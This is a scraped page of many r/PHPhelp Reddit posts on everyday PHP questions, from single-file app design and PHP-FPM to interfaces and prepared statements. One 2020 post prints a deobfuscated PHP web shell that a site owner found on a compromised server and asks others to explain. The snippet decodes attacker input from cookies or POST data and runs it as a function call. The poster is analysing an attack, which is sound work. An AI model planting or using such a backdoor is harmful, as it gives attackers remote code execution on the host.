r/PHPhelp • • Jan 12 '21

A single-file php web application: Is it crazy?

15 Upvotes

I'm not a programmer, but I'm comfortable with programming, and I enjoy it. I've led multiple programming projects, and most of them were with Laravel and Vue. They all seem confusing to me, to be honest.

A while back, we needed to have a small, more or less independent web application with relatively complicated logic. I decided to do it myself! And, of course, I did it without using any framework because I don't understand them. I broke down the project into multiple directories and files, with a structure that makes it easy to maintain it. There's a bash script that combines those files into one php file and syncs it with the server, and that single php file is the whole application (well, there's also a database). I also didn't have to use Javascript at all.

It took me two days to write the application, while our developers had asked me for two weeks. If I wanted them to write it, I had to describe the whole logic to them, which could take at least a day, and then I needed to test it, communicate with them about the issues, etc.

The application turned out to be very clean, and the users are happy with it. It's also very fast. If images are cached in the browser, it takes only 150ms to 250ms to load the pages.

So, I've been thinking a lot about this experiment, and I have lots of questions in mind, such as...

  1. Is this whole thing crazy and I will regret it one day (for some reason that I can't think of now), or is it OK?

  2. Are there people developing professional applications like this? Are there resources and good practices about it that I can use instead of experimenting with everything myself? (I've searched a lot and couldn't find anything relevant.)

  3. Is it a good idea to use it for larger applications?

  4. Etc.

I'm looking forward to receiving your opinions. It would be very helpful to me.

Edit: This application that I've described has about 1800 lines of code.

Update:

So, an update after 3 years, in case someone is curious: I wrote the big application similar to the small one described above. It was a smooth experience, and it's been in production since then. I've added new features to it every once in a while and it's about 12k lines of code now (excluding blank lines and comments).

Its maintenance has been very easy (more straightforward than other applications I've seen), and its behavior is predictable and reliable.

I don't know how well this model would work when more than one person works with the code, but it's been a great model for my setup.

Update:

Now it's been 5 years. Still very happy with it. It's 15k lines of code now.


r/PHPhelp • • Sep 06 '20

I recently faced an attack on my website and I'm trying to analyze piece of code which performed it

15 Upvotes

Someone managed to upload and execute malicious php file on my website. I retrieved this file - it was clearly intentionally made unreadable (this is how it looked like originally) but I managed to clean it up:

foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    $value = @pack('H*', $value);
    $something = explode('#', $value ^ substr(str_repeat($key . '1fe1cda5-9569-4fde-8a91-dd14821364db', (strlen($value) / strlen($key)) + 1), 0, strlen($value)));
    if (!(count($something) % 3)) {
        $something[1]($something[2]);
        exit();
    }
}

However I don't understand what this piece of code actually does. I'm very curious how it was able to break my website. I would really appreciate explanation.


r/PHPhelp • • May 26 '20

PHP FPM vs Apache mod_php

15 Upvotes

Looking to support http2 and have read about switching to fpm to support it. I can handle all that, but I’m curious on a technical level.

Performance wise how does fpm compare to mod_php?

Is FPM the “future?” and is Apache planning on supporting http2 for their php module?

Am I an ancient for still using mod_php


r/PHPhelp • • May 12 '20

Beginner Struggling

15 Upvotes

Hi there o/

So for the last two weeks or so i've been attempting to learn php i've been watching several youtube tutorials couldn't tell you how many hours now and reading websites such as guru99 and w3schools. I feel like im starting to understand the language but i'm failing to materialse it into anything.

I just end up going back and rewatching or re-reading. I come from a html/css background nothing outside of that language wise.

I'm never quite sure where to start off. I was just wondering if anyone has any advice on how to get myself going and producing code.

Or any resources to give me that extra push.


r/PHPhelp • • May 14 '18

Making /r/PHPHelp better, Pt 2.

15 Upvotes

So, if you missed out on our first post, we ran a poll to try to understand how we could make /r/PHPHelp a better place. We got some surprising feedback: roughly 40 kind-hearted souls of 74 total respondents said that they were here to answer other's questions.

So, the first of many questions becomes, how do we make the most of our volunteers time? /u/bkdotcom inadvertently pointed out a way in their response, "we need a contact form tutorial!". And they were right, we've got some good links in the sidebar, but we don't have a link for everything. Questions get asked 100x. We frequently have very thorough answers on our sub, but we don't retain them. The post drops off the front page, never to be seen again... and it's up to a new good Samaritan to provide another great response later.

So, how do we resolve this issue? Enter the /r/PHPHelp Github. One link on the sidebar, with infinite possible answers. The mods are encouraging anyone who feels so inclined to submit Pull Requests with great examples to commonly asked questions. I spent some time since the last post putting 2-3 contact form examples together, but we/I need your help!

You do not need to be an expert to contribute, you do not need to have lots of time available to spend contributing. There are many of us, and we can work together to provide great examples of the most common questions we receive here. What I've written to get us started is likely not: perfect, grammatically correct or flattering. The point is, it can be.

I hope most of you will be as excited as I am about this new addition to /r/PHPHelp - but we are still actively looking for ways to improve, so please get at us with any and all ideas!


r/PHPhelp • • Apr 24 '26

Fresher struggling to get a PHP developer job – need guidance

14 Upvotes

Hi everyone,

I recently graduated with a degree in Computer Science, and I’m trying to get my first job as a PHP developer, but I’m feeling quite stuck and searching for some guidance.

Currently, I’m trying to rebuild my foundation and focus on: PHP (core concepts), XAMPP, MySQL / databases, Basic frontend (HTML, CSS, JavaScript)

My main confusion is:

  • What level of PHP is actually expected for a fresher/junior role?

  • What kind of projects should I build to stand out?

  • Should I focus only on PHP or also learn something like Laravel/modern frameworks?

  • How do I know when I’m “job-ready”?

If anyone has gone through a similar phase or is currently working as a PHP developer, I’d really appreciate your advice.

I use Chatgpt to avoid the grammatical mistakes.


r/PHPhelp • • Jan 04 '26

Is an Abstract or Interface class a good way to handle this situation ?

14 Upvotes

My app has a requirement to be able to communicate with external systems - up until now, it was just 1 system: Bosch which works by writing/reading to files in pickup folders.

Throughout my code I have methods like $bosch->createUser().

Now, I need to integrate a second system, which has an utterly different API, and I was just about to code:

if( $settings->systemType === SYSTEMS::BOSCH ) {

  $bosch->createUser() // Writes to a pickup file which is read by Bosch system to create user

} else if( $settings->systemType === SYSTEMS::Philips) {

  $philips->createUser() // Api POST endpoint to create user

}

I'm certain in the future I'll need to integrate other manufacturers in the future.

I came across interface and abstract classes, which I've never used before. I'm wondering if either would be helpful in my situation?

Edit: I've updated the post for clarity. The systems are responsible for controlling security at a building and generally do very similar things but with vastly different capabilities. For example, the Philips Api gives me a response and allows me to send a unique id so I can check the status of the request, however the Bosch one doesn't. Here are some more types of operations that are scattered throughout my codebase:

$bosch->modifyUser();

$bosch->updateUserPin();

$bosch->vacateRoom();


r/PHPhelp • • Dec 03 '25

XSS Prevention

14 Upvotes

Still a bit new to working with PHP / SQL, so bear with me.

I've been told a few times that I should always use prepared statements when interacting with my database. I always assumed this mainly applied to INSERT or UPDATE statements, but does it also apply to SELECT queries?

If I have a query like:

$query = "SELECT COUNT(Documents) as CountDocs from dbo.mytable where (DocUploadDate between '$start' and '$end';"

Would it be in my best interest to use a prepared statement to bind the parameters in this situation?


r/PHPhelp • • Sep 04 '25

XAMP, MAMP, or Laragon for server environment on Windows?

14 Upvotes

Just curious as to which one people prefer and what works best for a Windows developer?

UPDATE: Gone with XAMPP


r/PHPhelp • • Jul 25 '25

Options to reduce this terrible code bloat

14 Upvotes

I am a hobbyist who writes pretty awful PHP, so that is my initial disclaimer.

I have a simple function which generates a list of words, and returns them in an array.

The functions accepts 3 variables:

  1. $pdo database connection

  2. $cat01 categoryID for word list

  3. $limit how many words to return

Call the function via:

returnWords($pdo,$cat01,$limit);

The user can select how many lists of words to return - much like on this CodePen example.

The problem I have is that the code soon balloons up when e.g. the user wants to return 5 groups of words - as you can see below.

If the user wants e.g. 3 groups of words for example (elseif ($segments == 3) is true), 'returnWords' is called 3 times, generating 3 arrays with the groups of words.

Then a loop will loop through the words in those 3 arrays and join them all together.

$words_joined = '';

if ($segments == 1) {
	$list01 = returnWords($pdo,$cat01,$limit);
	for ($x = 0; $x <= ($limit - 1); $x++) {
		$word1 = $list01[$x]['word'];
		$words_joined .= $word1 . "\r\n";
	}
} elseif ($segments == 2) {
	$list01 = returnWords($pdo,$cat01,$limit);
	$list02 = returnWords($pdo,$cat02,$limit);
	for ($x = 0; $x <= ($limit - 1); $x++) {
		$word1 = $list01[$x]['word'];
		$word2 = $list02[$x]['word'];
		$words_joined .= $word1 . $word2 . "\r\n";
	}
} elseif ($segments == 3) {
	$list01 = returnWords($pdo,$cat01,$limit);
	$list02 = returnWords($pdo,$cat02,$limit);
	$list03 = returnWords($pdo,$cat03,$limit);
	for ($x = 0; $x <= ($limit - 1); $x++) {
		$word1 = $list01[$x]['word'];
		$word2 = $list02[$x]['word'];
		$word3 = $list03[$x]['word'];
		$words_joined .= $word1 . $word2 . $word3 . "\r\n";
	}
} elseif ($segments == 4) {
	$list01 = returnWords($pdo,$cat01,$limit);
	$list02 = returnWords($pdo,$cat02,$limit);
	$list03 = returnWords($pdo,$cat03,$limit);
	$list04 = returnWords($pdo,$cat04,$limit);
	for ($x = 0; $x <= ($limit - 1); $x++) {
		$word1 = $list01[$x]['word'];
		$word2 = $list02[$x]['word'];
		$word3 = $list03[$x]['word'];
		$word4 = $list04[$x]['word'];
		$words_joined .= $word1 . $word2 . $word3 . $word4 . "\r\n";
	}
} elseif ($segments == 5) {
	$list01 = returnWords($pdo,$cat01,$limit);
	$list02 = returnWords($pdo,$cat02,$limit);
	$list03 = returnWords($pdo,$cat03,$limit);
	$list04 = returnWords($pdo,$cat04,$limit);
	$list05 = returnWords($pdo,$cat05,$limit);
	for ($x = 0; $x <= ($limit - 1); $x++) {
		$word1 = $list01[$x]['word'];
		$word2 = $list02[$x]['word'];
		$word3 = $list03[$x]['word'];
		$word4 = $list04[$x]['word'];
		$word5 = $list05[$x]['word'];
		$words_joined .= $word1 . $word2 . $word3 . $word4 . $word5 . "\r\n";
	}
}

Again, I realise this so called "code" is probably horribly amateurish and I'm sorry for that.

I have tried to work out a better way to do it, so that there is less repetition, but ended up in a mess of loops, or looking at dynamic variable names etc.

Sorry for taking up people's time with such a trivial question - but any pointers etc. would be much appreciated.

Thanks!


r/PHPhelp • • Jun 10 '25

How things are made fast in production laravel apps.

14 Upvotes

Hey, i am a Junior developer in a FinTech company (and its my first company) and our main project i.e. client onboarding and verification is on Laravel. Right now we are not using cache, jobs, server events, concurrency or anything like that and I feel the system is pretty slow. What are the industry standards for using these tools and techniques and how common are they in the production apps (I have no idea about it as it’s the first organisation i am working for). Recently i was studying about queues, workers , supervisors, etc, what’s the scenarios where these could come handy. Also I was looking for a comprehensive guide on implementing workers and supervisors with CI/CD pipelines (Gitlab)


r/PHPhelp • • Oct 25 '24

Solved Vanilla Views

14 Upvotes

Hi there I am new to php and looking for resources and best practices to build composable views with vanilla php.

I already googled around but I guess I am using the wrong keywords 🥺.

Is anybody actually using vanilla php for views? I already tried twig and blade but I am not a fan.


r/PHPhelp • • Aug 17 '24

How can I check an image file (e.g., .jpg, .png) for malicious code using PHP?

14 Upvotes

Hi everyone,

I’m currently working on a PHP project where users can upload image files. I want to ensure that these files don’t contain any potentially harmful content, like hidden code (e.g., PHP code disguised as an image).

What’s the best way to scan uploaded image files for malicious code in PHP? Are there any best practices or reliable methods I should follow to minimize security risks?

Any help or code examples would be much appreciated!


r/PHPhelp • • May 17 '24

Solved I don't understand what "yield" is used for.

14 Upvotes

Hi. Just started coding a week ago. I'm on php. In the course I'm taking, the author talks about generators and "yield" but explains very badly. I looked on the internet and didn't understand what "yield" was used for either. It seems to me that every time the sites present a program to explain what yield is for, the code could be written “more simply” using a loop "for" and " echo" for example (It's just an impression, I'm a beginner so I guess I'm totally wrong).

Is this really useful for me right now? I mean, can I do without it in the early stages and come back to it when I've made some progress ? If not, do you have a video or web page that provides a “simple” explanation? Thank you guys !


r/PHPhelp • • Oct 05 '22

PHP version manager?

14 Upvotes

Hey all,

Wondered if anyone can recommend some kind of php version manager - I've been using phpbrew but to be honest I've found it pretty fragile and it hasn't been working that well for me.

Are there any useful tools or scripts to help install and change php versions?

Thanks!


r/PHPhelp • • Feb 17 '21

Is there any way to test what a function would return if I ran that function instead of actually running it?

14 Upvotes

Hi

I was wondering if it's possible to test if a function is working fine or not and what it would return instead of actually running it.

For example, imagine I have a function called delete_all_files_in_directory() and it returns true when it succeeds and deletes all the files and false if it fails for any reason.

I want to test it can delete all the files inside a particular folder, so see if it would return true or false, but I don't want it to actually run, just to see what it would return if I decided to run it (I believe that's called a dry run?)

With some functions I do something like this:

if (function_name()) {
   echo "everything good";
} else {
   echo "something failed!";
}

But obviously that runs the functions, but how about testing it without running it?

Thanks I hope it's clear


r/PHPhelp • • Oct 28 '20

How to tackle app security?

14 Upvotes

Hi everyone, I'm a primarily self-taught developer and have mainly been working on web dev (with php backend) and mobile app dev (also using php for backend). I haven't had lots of opportunities to work with experienced teams so I often have doubts or questions about the best ways to execute certain things.

One big grey area for me has been securing my apps. Currently I'm helping build a platform which allows users to basically just view* their business financial data, and it's beginning to bother me that I realise I have no clear ideas of what threats we could face and how to avoid them (besides stuff like preventing SQL injection, managing what data you expose and to who, and maybe using access tokens for requests...).

Does anyone know where to start in figuring out when and how to secure apps. Not only tools and code that may help but also general intuition in knowing what apps require what kind of measures?


r/PHPhelp • • Jul 10 '20

How can I see a report from who access my website without Google Analytics?

14 Upvotes

I have a simple php page with a search box so the user can type any nickname or product. So I make a request to an public API with file_get_contents and show the result using json_encode. Everything works fine.

But, how can I know wich data and/or who were inserted to my search box? What I need to learn to be able to register this and save to any place?


r/PHPhelp • • Jun 13 '20

When do we use interfaces and when do we use abstract classes.

14 Upvotes

Hay everyone, I’m having a deep dive into OO with php.

I know that interfaces and abstract classes are similar in that they both include abstract methods and constants, and that interfaces can not contain concrete methods or variables, or use scopes other then public scope.

But what are the real world uses for it? when choosing an interface is better then abstract class. Can please share your opinion and some code examples. Thanks 🙏


r/PHPhelp • • Apr 18 '20

Solved Why do many people make fun of PHP?

14 Upvotes

I am new to PHP (mostly on WordPress) and I see lots of jokes around PHP. Is there any reason why it's made fun of?

Thanks


r/PHPhelp • • Sep 09 '19

Trying to understand Composer and what it does...

14 Upvotes

Up to now my PHP experience has been pretty much limited to hard coding everything and building my own functions for everything I do. I learned PHP on my own in the early 2000 and have only used it to maintain the same web site I originally learned php for. Now I'm trying to take my skills to the next level by better understanding the full process of designing and maintaining web sites.

My goal is to develop a working understanding of Composer, Laravel, and other related technologies. I have a basic understanding of what Composer is, but I don't fully understand how it works. Pretty much every page on the issue jumps immediately from the very basic "dependancy manager" to the details of how to download and install. But I haven't been able to find anything that gives a basic idea of what it does and how it works.

For what it's worth, my current skill set is HTML5, css, Php 5.6 (working on transition to 7.x), MySQL, and a little bit of Javascript. I have installed apache, Php, and MySQL on local machines to use for internal purposes using the Wamp Server. My site is currently hosted by a local ISP, but I will likely be transitioning to Amazon Web Services in the near future.

Basically I just need to understand the basic idea of what happens on my side and what happens when I publish my site. I'm not looking for a technical explanation of the how's - I'll learn that as I go. I'm just trying to get a basic understanding of how it works. For example, when I upload my project, is it making changes to the server, or is it just transferring files which are included in my page(s) the same way I include a functions page or a header?

Thanks in advance.


r/PHPhelp • • May 16 '19

PHP Code for graduation cap?

14 Upvotes

Hi everyone! I'm making a graduation cap to surprise my boyfriend who is about to graduate (we usually don't have graduation caps and gowns where I live). Since he's a php programmer, I would like to put a nice/funny graduation related short php code on the cap. However, I have noooo idea about programming and I didn't even get 'funny' things I found on Google. So if you have any ideas, please shoot!


r/PHPhelp • • 17d ago

What's the practices you guys follow for database creds?

13 Upvotes

Curious to know what methods people use to store the database login credts and possibly also find out the best and most secure one.

  • Hard coded into a .php file with php variables/array

  • .txt, .ini or similar file that is parsed before making the db connection

  • .env variables

Right now, I'm using the .ini one. So far so good but I assume env vars are more secure? What you guys go with?

Some of you may be going with the frameworks' way but that's not what I'm really talking about. It's more about the raw coding type beat.


r/PHPhelp • • Nov 07 '25

Curly braces after IF statement?

13 Upvotes

Hello,

In the javascript world we often omit curly braces after an IF statement that is followed by a single line of code, especially when we're applying the Early Return Pattern. Example:

if (condition) return;

I've been told that in PHP, conventionally, developers always add curly braces after an IF.

if (condition) {
return;
}

But it doesn't seem very elegant to me.

It is true what I've been told? What's your convention?